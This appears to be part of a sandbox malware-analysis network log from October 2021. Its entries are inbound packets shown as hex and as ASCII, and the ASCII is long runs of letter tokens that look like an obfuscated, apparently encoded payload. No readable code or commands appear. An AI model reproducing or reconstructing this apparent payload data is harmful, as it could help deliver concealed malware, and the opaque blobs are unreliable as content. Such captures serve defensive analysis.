2021-10-29 18:29:53 UTC	1410	IN	Data Raw: 20 4e 4d 72 20 56 43 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 4d 59 20 4e 43 4d 20 57 63 20 59 43 20 4e 49 4d 20 59 4e 20 56 59 43 20 56 72 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 4e 4c 59 20 63 56 20 56 56 57 20 4e 43 43 20 56 72 57 20 4e 43 49 20 4e 63 72 20 4e 72 4d 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 56 43 49 20 4e 56 43 20 4e 4c 4d 20 4c 49 20 4e 57 43 20 59 59 20 4e 4c 4d 20 56 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 43 20 57 59 20 4e 49 43 20 57 57 20 56 56 72 20 4e 4e 4c 20 56 4e 59 20 4e 72 59 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 59 56 20 59 4d 20 56 56 72 20 4c 63 20 4e 49 4d 20 49 59 20 4e Data Ascii: NMr VCW YC rI YC Yr VNC NVV NMY NCM Wc YC NIM YN VYC VrY NNr NNM NCW NNV NIC Yc NLY cV VVW NCC VrW NCI Ncr NrM rI YC Yr Ir Vrr NVY VCI NVC NLM LI NWC YY NLM VNN NNM NCW NNV YC NIV YI NC WY NIC WW VVr NNL VNY NrY YC Yr Ir NNr VrL NCN YV YM VVr Lc NIM IY N
2021-10-29 18:29:53 UTC	1413	IN	Data Raw: 63 20 56 56 4e 20 56 4e 4c 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 49 49 20 4e 56 72 20 4e 43 4d 20 59 43 20 4e 59 63 20 59 4e 20 4e 72 56 20 56 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 56 56 4d 20 4c 57 20 56 57 20 4e 4e 57 20 56 4e 4d 20 4e 43 49 20 4e 4d 4d 20 4e 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 4e 4e 59 20 4e 4e 56 20 4e 4d 4c 20 4c 4d 20 4e 59 57 20 59 59 20 4e 59 4d 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4d 20 49 72 20 56 4e 4c 20 57 63 20 4e 57 56 20 4e 4e 4c 20 56 56 72 20 4e 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4e 43 63 20 72 57 20 4e 4d 59 20 4c 57 20 4e 59 56 20 49 59 Data Ascii: c VVN VNL YC rI YC Yr VNC NVV NII NVr NCM YC NYc YN NrV VrN NNr NNM NCW NNV NIC Yc VVM LW VW NNW VNM NCI NMM NYN rI YC Yr Ir Vrr NVY NNY NNV NML LM NYW YY NYM VNY NNM NCW NNV YC NIV YI NM Ir VNL Wc NWV NNL VVr NrW YC Yr Ir NNr VrL NCN NCc rW NMY LW NYV IY
2021-10-29 18:29:53 UTC	1418	IN	Data Raw: 20 59 59 20 4d 49 20 56 4e 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4c 57 20 57 56 20 57 49 20 4e 4e 4d 20 4e 57 43 20 4e 4e 4c 20 4e 4d 20 4e 59 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4d 63 20 59 4d 20 56 72 57 20 59 43 20 56 56 63 20 49 59 20 49 57 20 56 56 43 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 43 20 63 56 20 4e 63 20 4e 56 4e 20 4e 43 4e 20 4e 43 57 20 4e 63 72 20 59 4e 20 72 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 4c 59 20 4e 56 43 20 56 4c 59 20 63 43 20 56 59 4e 20 59 72 20 4e 56 57 20 4e 4e 59 20 4d 4c 20 4e 57 63 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 57 56 20 4e 72 4d 20 4e 56 4e 20 4e 56 59 20 4e 4e 56 20 56 4c 4e 20 72 57 20 4e 4e Data Ascii: YY MI VNW NNM NCW NNV YC NIV YI NLW WV WI NNM NWC NNL NM NYL YC Yr Ir NNr VrL NCN Mc YM VrW YC VVc IY IW VVC NCW NNV YC rI NIC cV Nc NVN NCN NCW Ncr YN r NYY Yr Ir NNr NNM VLY NVC VLY cC VYN Yr NVW NNY ML NWc NNV YC rI YC NMc WV NrM NVN NVY NNV VLN rW NN
2021-10-29 18:29:53 UTC	1422	IN	Data Raw: 43 49 20 59 43 20 4d 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 72 4c 20 59 43 20 57 49 20 72 49 20 56 56 4e 20 63 4d 20 72 59 20 4e 4e 57 20 56 4c 63 20 56 4e 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 43 63 20 56 59 59 20 49 57 20 4e 4e 4d 20 59 43 20 49 43 20 72 49 20 4e 59 43 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 4e 4e 20 72 57 20 4e 4c 63 20 56 4e 20 49 59 20 4e 4e 72 20 56 43 20 4e 4e 4e 20 56 4e 56 20 4e 59 4c 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 72 4d 20 4e 4e 63 20 4e 63 59 20 72 49 20 72 4e 20 72 49 20 49 4c 20 59 56 20 72 20 56 56 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 43 57 20 59 57 20 4c 4c 20 4e 43 4d 20 56 43 4c 20 4e 43 57 20 4e 56 20 4e 4e 72 20 4e 43 63 Data Ascii: CI YC MY NYM Ir NNr NNM NCW VrL YC WI rI VVN cM rY NNW VLc VNW YC rI YC Yr VNC NCc VYY IW NNM YC IC rI NYC VYY NNr NNM NCW NNV VNN rW NLc VN IY NNr VC NNN VNV NYL rI YC Yr Ir NrM NNc NcY rI rN rI IL YV r VVL NNM NCW NNV YC VCW YW LL NCM VCL NCW NV NNr NCc
2021-10-29 18:29:53 UTC	1426	IN	Data Raw: 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 Data Ascii: r Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc
2021-10-29 18:29:53 UTC	1430	IN	Data Raw: 20 56 59 4e 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 59 57 20 56 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 57 72 20 49 57 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 59 4c 20 49 57 20 59 43 20 72 49 20 72 49 20 59 72 20 56 4e 57 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c Data Ascii: VYN WN NNM NCW NNL YC NYW VM Yr Ir NNY NNM NWr IW YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM YL IW YC rI rI Yr VNW WN NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY NNM NCW NNL
2021-10-29 18:29:53 UTC	1434	IN	Data Raw: 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 56 20 4e 4e 43 20 59 43 20 72 49 20 59 4e 20 59 72 20 4e 43 4c 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 49 49 20 57 43 20 59 43 20 72 49 20 72 57 20 59 72 20 4e 4d 20 4d 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 4d 20 4e 56 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 43 20 4d 4d 20 59 43 20 72 49 20 72 49 20 59 72 20 63 4d 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 57 4d 20 72 49 20 59 43 20 72 49 20 72 57 20 59 72 20 56 72 72 20 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 20 59 72 20 49 72 20 4e 4e 57 20 4e 4e 4d 20 Data Ascii: Ir NNV NNM NVV NNC YC rI YN Yr NCL rI NNM NCW NNL YC L NNV Yr Ir NNV NNM NII WC YC rI rW Yr NM MW NNM NCW NNL YC NM NV Yr Ir NNY NNM rC MM YC rI rI Yr cM NCI NNM NCW NNL YC L NNV Yr Ir NNV NNM NWM rI YC rI rW Yr Vrr YC NNM NCW NNc YC NVr V Yr Ir NNW NNM
2021-10-29 18:29:53 UTC	1438	IN	Data Raw: 4e 63 20 59 4e 20 59 56 20 63 72 20 57 20 4e 63 4d 20 4e 4e 49 20 4e 4e 63 20 4e 43 59 20 4e 4e 4d 20 57 20 56 43 4e 20 59 72 20 63 4c 20 49 43 20 4c 4c 20 4e 4e 43 20 4e 72 63 20 4e 4e 63 20 56 4c 49 20 72 49 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4e 72 43 20 56 4e 20 72 43 20 59 59 20 56 4c 20 49 43 20 4e 57 49 20 49 63 20 4e 43 49 20 4e 4e 56 20 4e 57 20 59 56 20 72 4c 20 4e 4e 49 20 49 59 20 4e 4e 72 20 4e 4e 63 20 4e 43 49 20 4e 49 57 20 4e 4d 20 72 57 20 59 43 20 72 4d 20 49 59 20 56 72 49 20 63 59 20 56 59 20 4e 4e 56 20 56 4d 20 59 56 20 4e 49 72 20 56 20 56 56 20 4e 4e 57 20 57 56 20 4e 43 59 20 4e 72 4e 20 72 4d 20 4e 56 4e 20 59 59 20 4c 4e 20 49 43 20 4e 56 4e 20 59 4c 20 4e 43 49 20 4e 4e 56 20 56 4d 20 59 56 20 56 Data Ascii: Nc YN YV cr W NcM NNI NNc NCY NNM W VCN Yr cL IC LL NNC Nrc NNc VLI rI NIr V IY NNr NCC NCY NrC VN rC YY VL IC NWI Ic NCI NNV NW YV rL NNI IY NNr NNc NCI NIW NM rW YC rM IY VrI cY VY NNV VM YV NIr V VV NNW WV NCY NrN rM NVN YY LN IC NVN YL NCI NNV VM YV V
2021-10-29 18:29:53 UTC	1442	IN	Data Raw: 63 20 63 4c 20 4e 56 4d 20 49 63 20 56 59 43 20 59 4c 20 56 4c 4d 20 4e 56 59 20 4e 56 4c 20 59 43 20 4d 4e 20 4e 4e 49 20 56 4e 56 20 4e 56 4d 20 63 43 20 4e 4e 4e 20 4c 63 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 43 4c 20 49 4e 20 56 4e 4d 20 4e 43 63 20 56 4c 72 20 4e 56 59 20 57 4e 20 59 4c 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 56 49 20 4e 43 72 20 4d 72 20 56 72 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 4e 43 20 57 59 20 4e 43 72 20 4e 4e 56 20 57 4e 20 59 4c 20 56 63 20 72 59 20 49 4e 20 4e 4e 72 20 56 49 20 4e 43 72 20 56 4e 4e 20 4e 4c 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 72 57 20 57 56 20 4e 43 72 20 4e 4e 56 20 57 57 20 59 4c 20 4e 57 57 20 56 20 56 4e 49 20 4e 56 4d 20 72 20 4e 43 72 20 56 59 43 20 63 20 72 57 20 59 43 20 4d 4e 20 49 4e Data Ascii: c cL NVM Ic VYC YL VLM NVY NVL YC MN NNI VNV NVM cC NNN Lc NNr NMc cL NCL IN VNM NCc VLr NVY WN YL NIr V IY NNr VI NCr Mr Vr YL YC WY IN NNC WY NCr NNV WN YL Vc rY IN NNr VI NCr VNN NL YL YC WY IN NrW WV NCr NNV WW YL NWW V VNI NVM r NCr VYC c rW YC MN IN
2021-10-29 18:29:53 UTC	1445	IN	Data Raw: 20 4d 63 20 4e 4e 43 20 4e 56 72 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4e 43 20 72 43 20 4c 4e 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4c 20 4e 43 63 20 4e 4e 59 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 72 20 4e 43 72 20 56 4e 4e 20 59 43 20 4e 4e 56 20 72 63 20 4e 56 4d 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4e 57 20 4e 43 63 20 49 4c 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 49 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 57 43 20 72 43 20 4e 49 4c 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 4d 20 59 4c 20 4e 72 59 20 59 72 20 63 43 20 4e 4e 43 20 56 59 56 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4d 72 20 72 43 20 4e 59 4e 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 59 20 59 4c 20 4e 4c 4d 20 Data Ascii: Mc NNC NVr NCr NWY YC NNC rC LN IN NWL NNM L NCc NNY YL NNL Yr NcV NVY Yr NCr VNN YC NNV rc NVM IN NWL NNM NW NCc IL YL NNL Yr NcV NVY VI NCr NWY YC NWC rC NIL IN rW NNM NYY NVM NMM YL NrY Yr cC NNC VYV NCr NWY YC NMr rC NYN IN rW NNM NYY NVM NrY YL NLM
2021-10-29 18:29:53 UTC	1450	IN	Data Raw: 59 20 4e 4e 63 20 4e 56 4c 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4d 4d 20 4e 56 4e 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 72 4e 20 59 4d 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 4c 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 59 43 20 4d 4c 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 72 56 20 72 59 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 56 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 59 72 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 4c 20 4e 4e 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 49 63 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 Data Ascii: Y NNc NVL YC NWI cN Vrc MM NVN NNM NYY NVM VNC rN YM Yr NcV NVY NrW NNL YN YC NWI cN NYC ML rW NNM NYY NVM VrV rY NNL Yr NcV NVY NrW NNV YN YC NWI cN Yr Mr rW NNM NYY NVM NI rc NNL Yr NcV NVY YL NNY YN YC NWI cN Ic Mr rW NNM NYY NVM NMI rc NNL Yr NcV NVY
2021-10-29 18:29:53 UTC	1454	IN	Data Raw: 59 59 20 4e 56 4d 20 4e 4d 49 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 4c 20 49 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4e 43 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 4e 4d 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4e 72 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 49 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 63 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 49 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 4e 72 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 Data Ascii: YY NVM NMI I NNL Yr NcV NVY VNL IY YN YC NWI cN Vrc NCI rW NNM NYY NVM VNC I NNL Yr NcV NVY NNM Ir YN YC NWI cN VV NCW rW NNM NYY NVM NNr W NNL Yr NcV NVY VN Ir YN YC NWI cN NIV NCW rW NNM NYY NVM Nrc W NNL Yr NcV NVY NIN Ir YN YC NWI cN VNr NCW rW NNM NY
2021-10-29 18:29:53 UTC	1458	IN	Data Raw: 4d 20 72 4d 20 49 72 20 4e 4e 72 20 59 43 20 57 57 20 49 4c 20 72 4c 20 72 49 20 59 43 20 4e 4e 4c 20 57 4e 20 56 56 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 4c 4c 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 56 72 20 49 4c 20 72 4c 20 72 49 20 59 43 20 56 57 20 49 72 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 56 4e 20 59 4e 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 43 59 20 56 4e 56 20 72 4c 20 72 49 20 59 43 20 4e 59 20 49 4c 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 43 20 59 4d 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 72 63 20 4e 43 56 20 49 4d 20 72 4c 20 72 49 20 59 43 20 56 56 72 20 4e 43 4d 20 4e 57 57 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 63 4c 20 4e 4e 72 20 4e 4d 20 72 4d 20 49 72 20 4e Data Ascii: M rM Ir NNr YC WW IL rL rI YC NNL WN VVN NCI NCW NNV NCM LL NM rM Ir NNr NcC NVr IL rL rI YC VW Ir IN NCI NCW NNV VN YN NM rM Ir NNr NcC NCY VNV rL rI YC NY IL IN NCI NCW NNV C YM NM rM Ir NNr Nrc NCV IM rL rI YC VVr NCM NWW NCI NCW NNV NcL NNr NM rM Ir N
2021-10-29 18:29:53 UTC	1462	IN	Data Raw: 49 20 4e 49 4e 20 59 43 20 72 57 20 59 43 20 56 56 49 20 49 59 20 4e 49 4c 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 56 20 63 4e 20 59 43 20 56 72 59 20 59 72 20 49 63 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 49 59 20 59 43 20 59 72 20 59 43 20 4c 43 20 49 72 20 57 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 72 43 20 59 56 20 4c 4d 20 59 72 20 56 20 4e 4e 72 20 4e 43 59 20 4e 43 59 20 4e 43 59 20 59 43 20 4e 43 56 20 59 43 20 72 43 20 49 43 20 4e 43 59 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 4e 49 20 59 56 20 72 4d 20 59 72 20 56 20 4e 4e 72 20 49 4d 20 4e 43 59 20 4e 4e 4e 20 59 43 20 4e 43 56 20 59 43 20 4e 49 20 49 43 20 49 4c 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 56 43 20 59 56 20 4e 4d 20 59 72 20 4e 59 59 20 49 57 20 4e 4d 56 20 4d 43 20 4e 4e 4e 20 59 43 20 43 20 59 Data Ascii: I NIN YC rW YC VVI IY NIL NNM NNN NNV cN YC VrY Yr Ic NNr NCC NNN NIY YC Yr YC LC Ir WM NNM YW NNV rC YV LM Yr V NNr NCY NCY NCY YC NCV YC rC IC NCY NNM YW NNV NI YV rM Yr V NNr IM NCY NNN YC NCV YC NI IC IL NNM YW NNV VC YV NM Yr NYY IW NMV MC NNN YC C Y
2021-10-29 18:29:53 UTC	1466	IN	Data Raw: 20 4e 57 20 4e 43 57 20 59 4c 20 59 43 20 49 4d 20 59 43 20 4e 4e 59 20 49 72 20 56 63 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 57 4e 20 72 49 20 4e 4e 57 20 59 72 20 63 56 20 4e 4e 72 20 72 49 20 4e 43 57 20 56 4d 20 59 43 20 4e 4e 4d 20 59 43 20 57 43 20 49 72 20 59 59 20 4e 4e 4d 20 43 20 4e 4e 56 20 4e 4e 57 20 72 49 20 57 56 20 59 72 20 4e 4d 20 4e 4e 72 20 56 63 20 4e 43 57 20 59 4c 20 59 43 20 63 72 20 59 43 20 4e 4e 59 20 49 72 20 4c 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 63 72 20 72 49 20 4e 4e 57 20 59 72 20 4c 57 20 4e 4e 72 20 72 49 20 4e 43 57 20 72 20 59 43 20 4e 4e 4d 20 59 43 20 63 4d 20 49 72 20 59 59 20 4e 4e 4d 20 56 4d 20 4e 4e 56 20 4e 4e 57 20 72 49 20 63 57 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 4c 20 4e 43 57 20 59 4c 20 59 43 20 4d 4c 20 59 Data Ascii: NW NCW YL YC IM YC NNY Ir Vc NNM rC NNV WN rI NNW Yr cV NNr rI NCW VM YC NNM YC WC Ir YY NNM C NNV NNW rI WV Yr NM NNr Vc NCW YL YC cr YC NNY Ir L NNM rC NNV cr rI NNW Yr LW NNr rI NCW r YC NNM YC cM Ir YY NNM VM NNV NNW rI cW Yr NM NNr NL NCW YL YC ML Y
2021-10-29 18:29:53 UTC	1477	IN	Data Raw: 20 4e 4e 20 59 20 49 20 4c 59 20 57 4e 20 4d 72 20 49 4d 20 4e 4e 20 57 49 20 4e 4e 72 20 4d 4d 20 57 4c 20 59 4c 20 4d 20 4e 4e 4c 20 56 20 4e 4e 57 20 4e 43 56 20 72 49 20 4d 4d 20 57 56 20 59 56 20 4e 4e 56 20 56 20 63 20 4e 20 4e 43 4c 20 59 4e 20 59 4e 20 72 4d 20 59 43 20 4e 20 4e 4e 49 20 4e 4e 49 20 4e 4e 72 20 57 49 20 59 56 20 63 59 20 57 43 20 4d 4c 20 72 20 4d 20 56 20 4e 4e 63 20 57 57 20 72 49 20 63 59 20 57 56 20 59 4e 20 72 20 72 49 20 56 20 4e 4e 59 20 57 4d 20 4d 59 20 4d 4e 20 57 56 20 4d 4e 20 43 20 4c 20 4e 4e 56 20 4e 4e 72 20 4e 43 4c 20 72 57 20 63 4d 20 72 63 20 59 43 20 59 20 59 20 72 20 43 20 4e 43 56 20 59 4e 20 63 49 20 49 49 20 4d 43 20 4e 4e 63 20 4e 4e 72 20 4d 20 43 20 56 4e 20 59 56 20 63 57 20 49 49 20 72 57 20 59 20 4e Data Ascii: NN Y I LY WN Mr IM NN WI NNr MM WL YL M NNL V NNW NCV rI MM WV YV NNV V c N NCL YN YN rM YC N NNI NNI NNr WI YV cY WC ML r M V NNc WW rI cY WV YN r rI V NNY WM MY MN WV MN C L NNV NNr NCL rW cM rc YC Y Y r C NCV YN cI II MC NNc NNr M C VN YV cW II rW Y N
2021-10-29 18:29:53 UTC	1482	IN	Data Raw: 43 20 4e 4e 63 20 4e 4e 4c 20 4e 4e 63 20 4e 4e 56 20 56 4e 20 4d 43 20 4d 63 20 57 43 20 4d 43 20 4e 4e 57 20 57 20 4e 4e 4c 20 4e 4e 72 20 4e 43 4e 20 59 59 20 4d 43 20 49 59 20 72 57 20 4e 4e 59 20 4e 4e 63 20 4e 4e 63 20 56 20 57 49 20 63 59 20 59 59 20 4e 43 57 20 4d 4c 20 4e 4e 49 20 57 20 4e 4e 59 20 4e 4e 56 20 4e 43 4c 20 59 4e 20 72 49 20 57 56 20 63 59 20 4e 4e 59 20 59 20 4e 43 20 4e 4e 72 20 57 4d 20 4d 4e 20 72 49 20 72 4d 20 4d 56 20 4e 4e 59 20 63 20 4e 4e 59 20 4e 4e 59 20 56 4c 20 4d 72 20 59 4e 20 57 4c 20 63 4d 20 4e 4e 63 20 4d 20 4e 4e 59 20 4e 4e 72 20 4e 43 43 20 63 4d 20 72 49 20 49 59 20 4d 4c 20 4e 4e 20 72 20 4e 4e 56 20 59 72 20 57 4d 20 72 49 20 59 59 20 57 72 20 4d 4e 20 4e 43 20 49 20 4e 4e 59 20 4d 20 4e 43 57 20 63 57 20 Data Ascii: C NNc NNL NNc NNV VN MC Mc WC MC NNW W NNL NNr NCN YY MC IY rW NNY NNc NNc V WI cY YY NCW ML NNI W NNY NNV NCL YN rI WV cY NNY Y NC NNr WM MN rI rM MV NNY c NNY NNY VL Mr YN WL cM NNc M NNY NNr NCC cM rI IY ML NN r NNV Yr WM rI YY Wr MN NC I NNY M NCW cW
2021-10-29 18:29:53 UTC	1498	IN	Data Raw: 4d 20 57 56 20 57 72 20 49 4d 20 63 49 20 56 4e 20 43 20 4e 49 20 4e 43 57 20 4c 59 20 49 4d 20 49 4e 20 63 72 20 49 59 20 63 43 20 4e 4e 72 20 59 63 20 4e 56 20 72 20 49 4e 20 49 49 20 59 43 20 4e 4e 4c 20 72 57 20 63 20 59 63 20 57 20 63 57 20 4e 56 56 20 49 4e 20 63 59 20 57 72 20 49 72 20 72 57 20 56 63 20 43 20 43 20 4d 4e 20 63 49 20 49 4d 20 4e 56 63 20 59 4c 20 4e 20 56 57 20 4e 43 57 20 63 4e 20 49 4c 20 63 49 20 57 43 20 59 72 20 4c 63 20 43 20 56 63 20 4e 4e 20 56 59 20 57 72 20 49 59 20 57 49 20 49 4d 20 4c 56 20 56 63 20 4e 4e 4d 20 72 56 20 56 4e 20 4d 43 20 4e 4e 49 20 57 4c 20 57 43 20 72 49 20 56 4c 20 4d 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 59 43 20 63 49 20 59 57 20 56 57 20 4e 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 59 43 20 4d 43 20 Data Ascii: M WV Wr IM cI VN C NI NCW LY IM IN cr IY cC NNr Yc NV r IN II YC NNL rW c Yc W cW NVV IN cY Wr Ir rW Vc C C MN cI IM NVc YL N VW NCW cN IL cI WC Yr Lc C Vc NN VY Wr IY WI IM LV Vc NNM rV VN MC NNI WL WC rI VL M cN NM MC II YC cI YW VW N cN NM MC II YC MC
